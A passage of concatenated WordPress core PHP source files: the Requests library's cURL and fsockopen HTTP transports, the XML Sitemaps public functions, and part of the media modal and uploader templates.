			}
		}

		return $url;
	}

	/**
	 * Self-test whether the transport can be used.
	 *
	 * The available capabilities to test for can be found in {@see \WpOrg\Requests\Capability}.
	 *
	 * @codeCoverageIgnore
	 * @param array<string, bool> $capabilities Optional. Associative array of capabilities to test against, i.e. `['<capability>' => true]`.
	 * @return bool Whether the transport can be used.
	 */
	public static function test($capabilities = []) {
		if (!function_exists('curl_init') || !function_exists('curl_exec')) {
			return false;
		}

		// If needed, check that our installed curl version supports SSL
		if (isset($capabilities[Capability::SSL]) && $capabilities[Capability::SSL]) {
			$curl_version = curl_version();
			if (!(CURL_VERSION_SSL & $curl_version['features'])) {
				return false;
			}
		}

		return true;
	}

	/**
	 * Get the correct "Expect" header for the given request data.
	 *
	 * @param string|array $data Data to send either as the POST body, or as parameters in the URL for a GET/HEAD.
	 * @return string The "Expect" header.
	 */
	private function get_expect_header($data) {
		if (!is_array($data)) {
			return strlen((string) $data) >= 1048576 ? '100-Continue' : '';
		}

		$bytesize = 0;
		$iterator = new RecursiveIteratorIterator(new RecursiveArrayIterator($data));

		foreach ($iterator as $datum) {
			$bytesize += strlen((string) $datum);

			if ($bytesize >= 1048576) {
				return '100-Continue';
			}
		}

		return '';
	}
}
<?php
/**
 * fsockopen HTTP transport
 *
 * @package Requests\Transport
 */

namespace WpOrg\Requests\Transport;

use WpOrg\Requests\Capability;
use WpOrg\Requests\Exception;
use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\Port;
use WpOrg\Requests\Requests;
use WpOrg\Requests\Ssl;
use WpOrg\Requests\Transport;
use WpOrg\Requests\Utility\CaseInsensitiveDictionary;
use WpOrg\Requests\Utility\InputValidator;

/**
 * fsockopen HTTP transport
 *
 * @package Requests\Transport
 */
final class Fsockopen implements Transport {
	/**
	 * Second to microsecond conversion
	 *
	 * @var integer
	 */
	const SECOND_IN_MICROSECONDS = 1000000;

	/**
	 * Raw HTTP data
	 *
	 * @var string
	 */
	public $headers = '';

	/**
	 * Stream metadata
	 *
	 * @var array Associative array of properties, see {@link https://www.php.net/stream_get_meta_data}
	 */
	public $info;

	/**
	 * What's the maximum number of bytes we should keep?
	 *
	 * @var int|bool Byte count, or false if no limit.
	 */
	private $max_bytes = false;

	/**
	 * Cache for received connection errors.
	 *
	 * @var string
	 */
	private $connect_error = '';

	/**
	 * Perform a request
	 *
	 * @param string|Stringable $url URL to request
	 * @param array $headers Associative array of request headers
	 * @param string|array $data Data to send either as the POST body, or as parameters in the URL for a GET/HEAD
	 * @param array $options Request options, see {@see \WpOrg\Requests\Requests::response()} for documentation
	 * @return string Raw HTTP result
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $url argument is not a string or Stringable.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $headers argument is not an array.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $data parameter is not an array or string.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array.
	 * @throws \WpOrg\Requests\Exception       On failure to connect to socket (`fsockopenerror`)
	 * @throws \WpOrg\Requests\Exception       On socket timeout (`timeout`)
	 */
	public function request($url, $headers = [], $data = [], $options = []) {
		if (InputValidator::is_string_or_stringable($url) === false) {
			throw InvalidArgument::create(1, '$url', 'string|Stringable', gettype($url));
		}

		if (is_array($headers) === false) {
			throw InvalidArgument::create(2, '$headers', 'array', gettype($headers));
		}

		if (!is_array($data) && !is_string($data)) {
			if ($data === null) {
				$data = '';
			} else {
				throw InvalidArgument::create(3, '$data', 'array|string', gettype($data));
			}
		}

		if (is_array($options) === false) {
			throw InvalidArgument::create(4, '$options', 'array', gettype($options));
		}

		$options['hooks']->dispatch('fsockopen.before_request');

		$url_parts = parse_url($url);
		if (empty($url_parts)) {
			throw new Exception('Invalid URL.', 'invalidurl', $url);
		}

		$host                     = $url_parts['host'];
		$context                  = stream_context_create();
		$verifyname               = false;
		$case_insensitive_headers = new CaseInsensitiveDictionary($headers);

		// HTTPS support
		if (isset($url_parts['scheme']) && strtolower($url_parts['scheme']) === 'https') {
			$remote_socket = 'ssl://' . $host;
			if (!isset($url_parts['port'])) {
				$url_parts['port'] = Port::HTTPS;
			}

			$context_options = [
				'verify_peer'       => true,
				'capture_peer_cert' => true,
			];
			$verifyname      = true;

			// SNI, if enabled (OpenSSL >=0.9.8j)
			// phpcs:ignore PHPCompatibility.Constants.NewConstants.openssl_tlsext_server_nameFound
			if (defined('OPENSSL_TLSEXT_SERVER_NAME') && OPENSSL_TLSEXT_SERVER_NAME) {
				$context_options['SNI_enabled'] = true;
				if (isset($options['verifyname']) && $options['verifyname'] === false) {
					$context_options['SNI_enabled'] = false;
				}
			}

			if (isset($options['verify'])) {
				if ($options['verify'] === false) {
					$context_options['verify_peer']      = false;
					$context_options['verify_peer_name'] = false;
					$verifyname                          = false;
				} elseif (is_string($options['verify'])) {
					$context_options['cafile'] = $options['verify'];
				}
			}

			if (isset($options['verifyname']) && $options['verifyname'] === false) {
				$context_options['verify_peer_name'] = false;
				$verifyname                          = false;
			}

			stream_context_set_option($context, ['ssl' => $context_options]);
		} else {
			$remote_socket = 'tcp://' . $host;
		}

		$this->max_bytes = $options['max_bytes'];

		if (!isset($url_parts['port'])) {
			$url_parts['port'] = Port::HTTP;
		}

		$remote_socket .= ':' . $url_parts['port'];

		// phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_set_error_handler
		set_error_handler([$this, 'connect_error_handler'], E_WARNING | E_NOTICE);

		$options['hooks']->dispatch('fsockopen.remote_socket', [&$remote_socket]);

		$socket = stream_socket_client($remote_socket, $errno, $errstr, ceil($options['connect_timeout']), STREAM_CLIENT_CONNECT, $context);

		restore_error_handler();

		if ($verifyname && !$this->verify_certificate_from_context($host, $context)) {
			throw new Exception('SSL certificate did not match the requested domain name', 'ssl.no_match');
		}

		if (!$socket) {
			if ($errno === 0) {
				// Connection issue
				throw new Exception(rtrim($this->connect_error), 'fsockopen.connect_error');
			}

			throw new Exception($errstr, 'fsockopenerror', null, $errno);
		}

		$data_format = $options['data_format'];

		if ($data_format === 'query') {
			$path = self::format_get($url_parts, $data);
			$data = '';
		} else {
			$path = self::format_get($url_parts, []);
		}

		$options['hooks']->dispatch('fsockopen.remote_host_path', [&$path, $url]);

		$request_body = '';
		$out          = sprintf("%s %s HTTP/%.1F\r\n", $options['type'], $path, $options['protocol_version']);

		if ($options['type'] !== Requests::TRACE) {
			if (is_array($data)) {
				$request_body = http_build_query($data, '', '&');
			} else {
				$request_body = $data;
			}

			// Always include Content-length on POST requests to prevent
			// 411 errors from some servers when the body is empty.
			if (!empty($data) || $options['type'] === Requests::POST) {
				if (!isset($case_insensitive_headers['Content-Length'])) {
					$headers['Content-Length'] = strlen($request_body);
				}

				if (!isset($case_insensitive_headers['Content-Type'])) {
					$headers['Content-Type'] = 'application/x-www-form-urlencoded; charset=UTF-8';
				}
			}
		}

		if (!isset($case_insensitive_headers['Host'])) {
			$out         .= sprintf('Host: %s', $url_parts['host']);
			$scheme_lower = strtolower($url_parts['scheme']);

			if (($scheme_lower === 'http' && $url_parts['port'] !== Port::HTTP) || ($scheme_lower === 'https' && $url_parts['port'] !== Port::HTTPS)) {
				$out .= ':' . $url_parts['port'];
			}

			$out .= "\r\n";
		}

		if (!isset($case_insensitive_headers['User-Agent'])) {
			$out .= sprintf("User-Agent: %s\r\n", $options['useragent']);
		}

		$accept_encoding = $this->accept_encoding();
		if (!isset($case_insensitive_headers['Accept-Encoding']) && !empty($accept_encoding)) {
			$out .= sprintf("Accept-Encoding: %s\r\n", $accept_encoding);
		}

		$headers = Requests::flatten($headers);

		if (!empty($headers)) {
			$out .= implode("\r\n", $headers) . "\r\n";
		}

		$options['hooks']->dispatch('fsockopen.after_headers', [&$out]);

		if (substr($out, -2) !== "\r\n") {
			$out .= "\r\n";
		}

		if (!isset($case_insensitive_headers['Connection'])) {
			$out .= "Connection: Close\r\n";
		}

		$out .= "\r\n" . $request_body;

		$options['hooks']->dispatch('fsockopen.before_send', [&$out]);

		fwrite($socket, $out);
		$options['hooks']->dispatch('fsockopen.after_send', [$out]);

		if (!$options['blocking']) {
			fclose($socket);
			$fake_headers = '';
			$options['hooks']->dispatch('fsockopen.after_request', [&$fake_headers]);
			return '';
		}

		$timeout_sec = (int) floor($options['timeout']);
		if ($timeout_sec === $options['timeout']) {
			$timeout_msec = 0;
		} else {
			$timeout_msec = self::SECOND_IN_MICROSECONDS * $options['timeout'] % self::SECOND_IN_MICROSECONDS;
		}

		stream_set_timeout($socket, $timeout_sec, $timeout_msec);

		$response   = '';
		$body       = '';
		$headers    = '';
		$this->info = stream_get_meta_data($socket);
		$size       = 0;
		$doingbody  = false;
		$download   = false;
		if ($options['filename']) {
			// phpcs:ignore WordPress.PHP.NoSilencedErrors -- Silenced the PHP native warning in favour of throwing an exception.
			$download = @fopen($options['filename'], 'wb');
			if ($download === false) {
				$error = error_get_last();
				throw new Exception($error['message'], 'fopen');
			}
		}

		while (!feof($socket)) {
			$this->info = stream_get_meta_data($socket);
			if ($this->info['timed_out']) {
				throw new Exception('fsocket timed out', 'timeout');
			}

			$block = fread($socket, Requests::BUFFER_SIZE);
			if (!$doingbody) {
				$response .= $block;
				if (strpos($response, "\r\n\r\n")) {
					list($headers, $block) = explode("\r\n\r\n", $response, 2);
					$doingbody             = true;
				}
			}

			// Are we in body mode now?
			if ($doingbody) {
				$options['hooks']->dispatch('request.progress', [$block, $size, $this->max_bytes]);
				$data_length = strlen($block);
				if ($this->max_bytes) {
					// Have we already hit a limit?
					if ($size === $this->max_bytes) {
						continue;
					}

					if (($size + $data_length) > $this->max_bytes) {
						// Limit the length
						$limited_length = ($this->max_bytes - $size);
						$block          = substr($block, 0, $limited_length);
					}
				}

				$size += strlen($block);
				if ($download) {
					fwrite($download, $block);
				} else {
					$body .= $block;
				}
			}
		}

		$this->headers = $headers;

		if ($download) {
			fclose($download);
		} else {
			$this->headers .= "\r\n\r\n" . $body;
		}

		fclose($socket);

		$options['hooks']->dispatch('fsockopen.after_request', [&$this->headers, &$this->info]);
		return $this->headers;
	}

	/**
	 * Send multiple requests simultaneously
	 *
	 * @param array $requests Request data (array of 'url', 'headers', 'data', 'options') as per {@see \WpOrg\Requests\Transport::request()}
	 * @param array $options Global options, see {@see \WpOrg\Requests\Requests::response()} for documentation
	 * @return array Array of \WpOrg\Requests\Response objects (may contain \WpOrg\Requests\Exception or string responses as well)
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $requests argument is not an array or iterable object with array access.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array.
	 */
	public function request_multiple($requests, $options) {
		// If you're not requesting, we can't get any responses ¯\_(ツ)_/¯
		if (empty($requests)) {
			return [];
		}

		if (InputValidator::has_array_access($requests) === false || InputValidator::is_iterable($requests) === false) {
			throw InvalidArgument::create(1, '$requests', 'array|ArrayAccess&Traversable', gettype($requests));
		}

		if (is_array($options) === false) {
			throw InvalidArgument::create(2, '$options', 'array', gettype($options));
		}

		$responses = [];
		$class     = get_class($this);
		foreach ($requests as $id => $request) {
			try {
				$handler        = new $class();
				$responses[$id] = $handler->request($request['url'], $request['headers'], $request['data'], $request['options']);

				$request['options']['hooks']->dispatch('transport.internal.parse_response', [&$responses[$id], $request]);
			} catch (Exception $e) {
				$responses[$id] = $e;
			}

			if (!is_string($responses[$id])) {
				$request['options']['hooks']->dispatch('multiple.request.complete', [&$responses[$id], $id]);
			}
		}

		return $responses;
	}

	/**
	 * Retrieve the encodings we can accept
	 *
	 * @return string Accept-Encoding header value
	 */
	private static function accept_encoding() {
		$type = [];
		if (function_exists('gzinflate')) {
			$type[] = 'deflate;q=1.0';
		}

		if (function_exists('gzuncompress')) {
			$type[] = 'compress;q=0.5';
		}

		$type[] = 'gzip;q=0.5';

		return implode(', ', $type);
	}

	/**
	 * Format a URL given GET data
	 *
	 * @param array        $url_parts Array of URL parts as received from {@link https://www.php.net/parse_url}
	 * @param array|object $data Data to build query using, see {@link https://www.php.net/http_build_query}
	 * @return string URL with data
	 */
	private static function format_get($url_parts, $data) {
		if (!empty($data)) {
			if (empty($url_parts['query'])) {
				$url_parts['query'] = '';
			}

			$url_parts['query'] .= '&' . http_build_query($data, '', '&');
			$url_parts['query']  = trim($url_parts['query'], '&');
		}

		if (isset($url_parts['path'])) {
			if (isset($url_parts['query'])) {
				$get = $url_parts['path'] . '?' . $url_parts['query'];
			} else {
				$get = $url_parts['path'];
			}
		} else {
			$get = '/';
		}

		return $get;
	}

	/**
	 * Error handler for stream_socket_client()
	 *
	 * @param int $errno Error number (e.g. E_WARNING)
	 * @param string $errstr Error message
	 */
	public function connect_error_handler($errno, $errstr) {
		// Double-check we can handle it
		if (($errno & E_WARNING) === 0 && ($errno & E_NOTICE) === 0) {
			// Return false to indicate the default error handler should engage
			return false;
		}

		$this->connect_error .= $errstr . "\n";
		return true;
	}

	/**
	 * Verify the certificate against common name and subject alternative names
	 *
	 * Unfortunately, PHP doesn't check the certificate against the alternative
	 * names, leading things like 'https://www.github.com/' to be invalid.
	 * Instead
	 *
	 * @link https://tools.ietf.org/html/rfc2818#section-3.1 RFC2818, Section 3.1
	 *
	 * @param string $host Host name to verify against
	 * @param resource $context Stream context
	 * @return bool
	 *
	 * @throws \WpOrg\Requests\Exception On failure to connect via TLS (`fsockopen.ssl.connect_error`)
	 * @throws \WpOrg\Requests\Exception On not obtaining a match for the host (`fsockopen.ssl.no_match`)
	 */
	public function verify_certificate_from_context($host, $context) {
		$meta = stream_context_get_options($context);

		// If we don't have SSL options, then we couldn't make the connection at
		// all
		if (empty($meta) || empty($meta['ssl']) || empty($meta['ssl']['peer_certificate'])) {
			throw new Exception(rtrim($this->connect_error), 'ssl.connect_error');
		}

		$cert = openssl_x509_parse($meta['ssl']['peer_certificate']);

		return Ssl::verify_certificate($host, $cert);
	}

	/**
	 * Self-test whether the transport can be used.
	 *
	 * The available capabilities to test for can be found in {@see \WpOrg\Requests\Capability}.
	 *
	 * @codeCoverageIgnore
	 * @param array<string, bool> $capabilities Optional. Associative array of capabilities to test against, i.e. `['<capability>' => true]`.
	 * @return bool Whether the transport can be used.
	 */
	public static function test($capabilities = []) {
		if (!function_exists('fsockopen')) {
			return false;
		}

		// If needed, check that streams support SSL
		if (isset($capabilities[Capability::SSL]) && $capabilities[Capability::SSL]) {
			if (!extension_loaded('openssl') || !function_exists('openssl_x509_parse')) {
				return false;
			}
		}

		return true;
	}
}
<?php
/**
 * Sitemaps: Public functions
 *
 * This file contains a variety of public functions developers can use to interact with
 * the XML Sitemaps API.
 *
 * @package WordPress
 * @subpackage Sitemaps
 * @since 5.5.0
 */

/**
 * Retrieves the current Sitemaps server instance.
 *
 * @since 5.5.0
 *
 * @global WP_Sitemaps $wp_sitemaps Global Core Sitemaps instance.
 *
 * @return WP_Sitemaps Sitemaps instance.
 */
function wp_sitemaps_get_server() {
	global $wp_sitemaps;

	// If there isn't a global instance, set and bootstrap the sitemaps system.
	if ( empty( $wp_sitemaps ) ) {
		$wp_sitemaps = new WP_Sitemaps();
		$wp_sitemaps->init();

		/**
		 * Fires when initializing the Sitemaps object.
		 *
		 * Additional sitemaps should be registered on this hook.
		 *
		 * @since 5.5.0
		 *
		 * @param WP_Sitemaps $wp_sitemaps Sitemaps object.
		 */
		do_action( 'wp_sitemaps_init', $wp_sitemaps );
	}

	return $wp_sitemaps;
}

/**
 * Gets an array of sitemap providers.
 *
 * @since 5.5.0
 *
 * @return WP_Sitemaps_Provider[] Array of sitemap providers.
 */
function wp_get_sitemap_providers() {
	$sitemaps = wp_sitemaps_get_server();

	return $sitemaps->registry->get_providers();
}

/**
 * Registers a new sitemap provider.
 *
 * @since 5.5.0
 *
 * @param string               $name     Unique name for the sitemap provider.
 * @param WP_Sitemaps_Provider $provider The `Sitemaps_Provider` instance implementing the sitemap.
 * @return bool Whether the sitemap was added.
 */
function wp_register_sitemap_provider( $name, WP_Sitemaps_Provider $provider ) {
	$sitemaps = wp_sitemaps_get_server();

	return $sitemaps->registry->add_provider( $name, $provider );
}

/**
 * Gets the maximum number of URLs for a sitemap.
 *
 * @since 5.5.0
 *
 * @param string $object_type Object type for sitemap to be filtered (e.g. 'post', 'term', 'user').
 * @return int The maximum number of URLs.
 */
function wp_sitemaps_get_max_urls( $object_type ) {
	/**
	 * Filters the maximum number of URLs displayed on a sitemap.
	 *
	 * @since 5.5.0
	 *
	 * @param int    $max_urls    The maximum number of URLs included in a sitemap. Default 2000.
	 * @param string $object_type Object type for sitemap to be filtered (e.g. 'post', 'term', 'user').
	 */
	return apply_filters( 'wp_sitemaps_max_urls', 2000, $object_type );
}

/**
 * Retrieves the full URL for a sitemap.
 *
 * @since 5.5.1
 *
 * @param string $name         The sitemap name.
 * @param string $subtype_name The sitemap subtype name. Default empty string.
 * @param int    $page         The page of the sitemap. Default 1.
 * @return string|false The sitemap URL or false if the sitemap doesn't exist.
 */
function get_sitemap_url( $name, $subtype_name = '', $page = 1 ) {
	$sitemaps = wp_sitemaps_get_server();

	if ( ! $sitemaps ) {
		return false;
	}

	if ( 'index' === $name ) {
		return $sitemaps->index->get_index_url();
	}

	$provider = $sitemaps->registry->get_provider( $name );
	if ( ! $provider ) {
		return false;
	}

	if ( $subtype_name && ! in_array( $subtype_name, array_keys( $provider->get_object_subtypes() ), true ) ) {
		return false;
	}

	$page = absint( $page );
	if ( 0 >= $page ) {
		$page = 1;
	}

	return $provider->get_sitemap_url( $subtype_name, $page );
}
<?php
/**
 * WordPress media templates.
 *
 * @package WordPress
 * @subpackage Media
 * @since 3.5.0
 */

/**
 * Outputs the markup for an audio tag to be used in an Underscore template
 * when data.model is passed.
 *
 * @since 3.9.0
 */
function wp_underscore_audio_template() {
	$audio_types = wp_get_audio_extensions();
	?>
<audio style="visibility: hidden"
	controls
	class="wp-audio-shortcode"
	width="{{ _.isUndefined( data.model.width ) ? 400 : data.model.width }}"
	preload="{{ _.isUndefined( data.model.preload ) ? 'none' : data.model.preload }}"
	<#
	<?php
	foreach ( array( 'autoplay', 'loop' ) as $attr ) :
		?>
	if ( ! _.isUndefined( data.model.<?php echo $attr; ?> ) && data.model.<?php echo $attr; ?> ) {
		#> <?php echo $attr; ?><#
	}
	<?php endforeach; ?>#>
>
	<# if ( ! _.isEmpty( data.model.src ) ) { #>
	<source src="{{ data.model.src }}" type="{{ wp.media.view.settings.embedMimes[ data.model.src.split('.').pop() ] }}" />
	<# } #>

	<?php
	foreach ( $audio_types as $type ) :
		?>
	<# if ( ! _.isEmpty( data.model.<?php echo $type; ?> ) ) { #>
	<source src="{{ data.model.<?php echo $type; ?> }}" type="{{ wp.media.view.settings.embedMimes[ '<?php echo $type; ?>' ] }}" />
	<# } #>
		<?php
	endforeach;
	?>
</audio>
	<?php
}

/**
 * Outputs the markup for a video tag to be used in an Underscore template
 * when data.model is passed.
 *
 * @since 3.9.0
 */
function wp_underscore_video_template() {
	$video_types = wp_get_video_extensions();
	?>
<#  var w_rule = '', classes = [],
		w, h, settings = wp.media.view.settings,
		isYouTube = isVimeo = false;

	if ( ! _.isEmpty( data.model.src ) ) {
		isYouTube = data.model.src.match(/youtube|youtu\.be/);
		isVimeo = -1 !== data.model.src.indexOf('vimeo');
	}

	if ( settings.contentWidth && data.model.width >= settings.contentWidth ) {
		w = settings.contentWidth;
	} else {
		w = data.model.width;
	}

	if ( w !== data.model.width ) {
		h = Math.ceil( ( data.model.height * w ) / data.model.width );
	} else {
		h = data.model.height;
	}

	if ( w ) {
		w_rule = 'width: ' + w + 'px; ';
	}

	if ( isYouTube ) {
		classes.push( 'youtube-video' );
	}

	if ( isVimeo ) {
		classes.push( 'vimeo-video' );
	}

#>
<div style="{{ w_rule }}" class="wp-video">
<video controls
	class="wp-video-shortcode {{ classes.join( ' ' ) }}"
	<# if ( w ) { #>width="{{ w }}"<# } #>
	<# if ( h ) { #>height="{{ h }}"<# } #>
	<?php
	$props = array(
		'poster'  => '',
		'preload' => 'metadata',
	);
	foreach ( $props as $key => $value ) :
		if ( empty( $value ) ) {
			?>
		<#
		if ( ! _.isUndefined( data.model.<?php echo $key; ?> ) && data.model.<?php echo $key; ?> ) {
			#> <?php echo $key; ?>="{{ data.model.<?php echo $key; ?> }}"<#
		} #>
			<?php
		} else {
			echo $key
			?>
			="{{ _.isUndefined( data.model.<?php echo $key; ?> ) ? '<?php echo $value; ?>' : data.model.<?php echo $key; ?> }}"
			<?php
		}
	endforeach;
	?>
	<#
	<?php
	foreach ( array( 'autoplay', 'loop' ) as $attr ) :
		?>
	if ( ! _.isUndefined( data.model.<?php echo $attr; ?> ) && data.model.<?php echo $attr; ?> ) {
		#> <?php echo $attr; ?><#
	}
	<?php endforeach; ?>#>
>
	<# if ( ! _.isEmpty( data.model.src ) ) {
		if ( isYouTube ) { #>
		<source src="{{ data.model.src }}" type="video/youtube" />
		<# } else if ( isVimeo ) { #>
		<source src="{{ data.model.src }}" type="video/vimeo" />
		<# } else { #>
		<source src="{{ data.model.src }}" type="{{ settings.embedMimes[ data.model.src.split('.').pop() ] }}" />
		<# }
	} #>

	<?php
	foreach ( $video_types as $type ) :
		?>
	<# if ( data.model.<?php echo $type; ?> ) { #>
	<source src="{{ data.model.<?php echo $type; ?> }}" type="{{ settings.embedMimes[ '<?php echo $type; ?>' ] }}" />
	<# } #>
	<?php endforeach; ?>
	{{{ data.model.content }}}
</video>
</div>
	<?php
}

/**
 * Prints the templates used in the media manager.
 *
 * @since 3.5.0
 */
function wp_print_media_templates() {
	$class = 'media-modal wp-core-ui';

	$alt_text_description = sprintf(
		/* translators: 1: Link to tutorial, 2: Additional link attributes, 3: Accessibility text. */
		__( '<a href="%1$s" %2$s>Learn how to describe the purpose of the image%3$s</a>. Leave empty if the image is purely decorative.' ),
		esc_url( 'https://www.w3.org/WAI/tutorials/images/decision-tree' ),
		'target="_blank" rel="noopener"',
		sprintf(
			'<span class="screen-reader-text"> %s</span>',
			/* translators: Hidden accessibility text. */
			__( '(opens in a new tab)' )
		)
	);
	?>

	<?php // Template for the media frame: used both in the media grid and in the media modal. ?>
	<script type="text/html" id="tmpl-media-frame">
		<div class="media-frame-title" id="media-frame-title"></div>
		<h2 class="media-frame-menu-heading"><?php _ex( 'Actions', 'media modal menu actions' ); ?></h2>
		<button type="button" class="button button-link media-frame-menu-toggle" aria-expanded="false">
			<?php _ex( 'Menu', 'media modal menu' ); ?>
			<span class="dashicons dashicons-arrow-down" aria-hidden="true"></span>
		</button>
		<div class="media-frame-menu"></div>
		<div class="media-frame-tab-panel">
			<div class="media-frame-router"></div>
			<div class="media-frame-content"></div>
		</div>
		<h2 class="media-frame-actions-heading screen-reader-text">
		<?php
			/* translators: Hidden accessibility text. */
			_e( 'Selected media actions' );
		?>
		</h2>
		<div class="media-frame-toolbar"></div>
		<div class="media-frame-uploader"></div>
	</script>

	<?php // Template for the media modal. ?>
	<script type="text/html" id="tmpl-media-modal">
		<div tabindex="0" class="<?php echo $class; ?>" role="dialog" aria-labelledby="media-frame-title">
			<# if ( data.hasCloseButton ) { #>
				<button type="button" class="media-modal-close"><span class="media-modal-icon"><span class="screen-reader-text">
					<?php
					/* translators: Hidden accessibility text. */
					_e( 'Close dialog' );
					?>
				</span></span></button>
			<# } #>
			<div class="media-modal-content" role="document"></div>
		</div>
		<div class="media-modal-backdrop"></div>
	</script>

	<?php // Template for the window uploader, used for example in the media grid. ?>
	<script type="text/html" id="tmpl-uploader-window">
		<div class="uploader-window-content">
			<div class="uploader-editor-title"><?php _e( 'Drop files to upload' ); ?></div>
		</div>
	</script>

	<?php // Template for the editor uploader. ?>
	<script type="text/html" id="tmpl-uploader-editor">
		<div class="uploader-editor-content">
			<div class="uploader-editor-title"><?php _e( 'Drop files to upload' ); ?></div>
		</div>
	</script>

	<?php // Template for the inline uploader, used for example in the Media Library admin page - Add New. ?>
	<script type="text/html" id="tmpl-uploader-inline">
		<# var messageClass = data.message ? 'has-upload-message' : 'no-upload-message'; #>
		<# if ( data.canClose ) { #>
		<button class="close dashicons dashicons-no"><span class="screen-reader-text">
			<?php
			/* translators: Hidden accessibility text. */
			_e( 'Close uploader' );
			?>
		</span></button>
		<# } #>
		<div class="uploader-inline-content {{ messageClass }}">
		<# if ( data.message ) { #>
			<h2 class="upload-message">{{ data.message }}</h2>
		<# } #>
		<?php if ( ! _device_can_upload() ) : ?>
			<div class="upload-ui">
				<h2 class="upload-instructions"><?php _e( 'Your browser cannot upload files' ); ?></h2>
				<p>
				<?php
					printf(
						/* translators: %s: https://apps.wordpress.org/ */
						__( 'The web browser on your device cannot be used to upload files. You may be able to use the <a href="%s">native app for your device</a> instead.' ),
						'https://apps.wordpress.org/'
					);
				?>
				</p>
			</div>
		<?php elseif ( is_multisite() && ! is_upload_space_available() ) : ?>
			<div class="upload-ui">
				<h2 class="upload-instructions"><?php _e( 'Upload Limit Exceeded' ); ?></h2>
				<?php
				/** This action is documented in wp-admin/includes/media.php */
				do_action( 'upload_ui_over_quota' );
				?>
			</div>
		<?php else : ?>
			<div class="upload-ui">
				<h2 class="upload-instructions drop-instructions"><?php _e( 'Drop files to upload' ); ?></h2>
				<p class="upload-instructions drop-instructions"><?php _ex( 'or', 'Uploader: Drop files here - or - Select Files' ); ?></p>
				<button type="button" class="browser button button-hero" aria-labelledby="post-upload-info"><?php _e( 'Select Files' ); ?></button>
			</div>

			<div class="upload-inline-status"></div>

			<div class="post-upload-ui" id="post-upload-info">
				<?php
				/** This action is documented in wp-admin/includes/media.php */
				do_action( 'pre-upload-ui' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
				/** This action is documented in wp-admin/includes/media.php */
				do_action( 'pre-plupload-upload-ui' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

				if ( 10 === remove_action( 'post-plupload-upload-ui', 'media_upload_flash_bypass' ) ) {
					/** This action is documented in wp-admin/includes/media.php */
					do_action( 'post-plupload-upload-ui' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
					add_action( 'post-plupload-upload-ui', 'media_upload_flash_bypass' );
				} else {
					/** This action is documented in wp-admin/includes/media.php */
					do_action( 'post-plupload-upload-ui' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
				}

				$max_upload_size = wp_max_upload_size();
				if ( ! $max_upload_size ) {
					$max_upload_size = 0;
				}
				?>

				<p class="max-upload-size">
				<?php
					printf(
						/* translators: %s: Maximum allowed file size. */
						__( 'Maximum upload file size: %s.' ),
						esc_html( size_format( $max_upload_size ) )
					);
				?>
				</p>

				<# if ( data.suggestedWidth && data.suggestedHeight ) { #>
					<p class="suggested-dimensions">
						<?php
							/* translators: 1: Suggested width number, 2: Suggested height number. */
							printf( __( 'Suggested image dimensions: %1$s by %2$s pixels.' ), '{{data.suggestedWidth}}', '{{data.suggestedHeight}}' );
						?>
					</p>
				<# } #>

				<?php
				/** This action is documented in wp-admin/includes/media.php */
				do_action( 'post-upload-ui' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
				?>
			</div>
		<?php endif; ?>
		</div>
	</script>

	<?php // Template for the view switchers, used for example in the Media Grid. ?>
	<script type="text/html" id="tmpl-media-library-view-switcher">
		<a href="<?php echo esc_url( add_query_arg( 'mode', 'list', admin_url( 'upload.php' ) ) ); ?>" class="view-list">
			<span class="screen-reader-text">
				<?php
				/* translators: Hidden accessibility text. */
				_e( 'List view' );
				?>
			</span>
		</a>
		<a href="<?php echo esc_url( add_query_arg( 'mode', 'grid', admin_url( 'upload.php' ) ) ); ?>" class="view-grid current" aria-current="page">
			<span class="screen-reader-text">
				<?php
				/* translators: Hidden accessibility text. */
				_e( 'Grid view' );
				?>
			</span>
		</a>
	</script>

	<?php // Template for the uploading status UI. ?>
	<script type="text/html" id="tmpl-uploader-status">
		<h2><?php _e( 'Uploading' ); ?></h2>

		<div class="media-progress-bar"><div></div></div>
		<div class="upload-details">
			<span class="upload-count">
				<span class="upload-index"></span> / <span class="upload-total"></span>
			</span>
			<span class="upload-detail-separator">&ndash;</span>
			<span class="upload-filename"></span>
		</div>
		<div class="upload-errors"></div>
		<button type="button" class="button upload-dismiss-errors"><?php _e( 'Dismiss errors' ); ?></button>
	</script>

	<?php // Template for the uploading status errors. ?>
	<script type="text/html" id="tmpl-uploader-status-error">
		<span class="upload-error-filename">{{{ data.filename }}}</span>
		<span class="upload-error-message">{{ data.message }}</span>
	</script>

	<?php // Template for the Attachment Details layout in the media browser. ?>
	<script type="text/html" id="tmpl-edit-attachment-frame">
		<div class="edit-media-header">
			<button class="left dashicons"<# if ( ! data.hasPrevious ) { #> disabled<# } #>><span class="screen-reader-text"><?php /* translators: Hidden accessibility text. */ _e( 'Edit previous media item' ); ?></span></button>
			<button class="right dashicons"<# if ( ! data.hasNext ) { #> disabled<# } #>><span class="screen-reader-text"><?php /* translators: Hidden accessibility text. */ _e( 'Edit next media item' ); ?></span></button>
			<button type="button" class="media-modal-close"><span class="media-modal-icon"><span class="screen-reader-text"><?php _e( 'Close dialog' ); ?></span></span></button>
		</div>
		<div class="media-frame-title"></div>
		<div class="media-frame-content"></div>
	</script>

	<?php // Template for the Attachment Details two columns layout. ?>
	<script type="text/html" id="tmpl-attachment-details-two-column">
		<div class="attachment-media-view {{ data.orientation }}">
			<?php
			if ( isset( $_GET['error'] ) && 'deprecated' === $_GET['error'] ) {
				wp_admin_notice(
					__( 'The Edit Media screen is deprecated as of WordPress 6.3. Please use the Media Library instead.' ),
					array(
						'id'                 => 'message',
						'additional_classes' => array( 'error' ),
					)
				);
			}
			?>
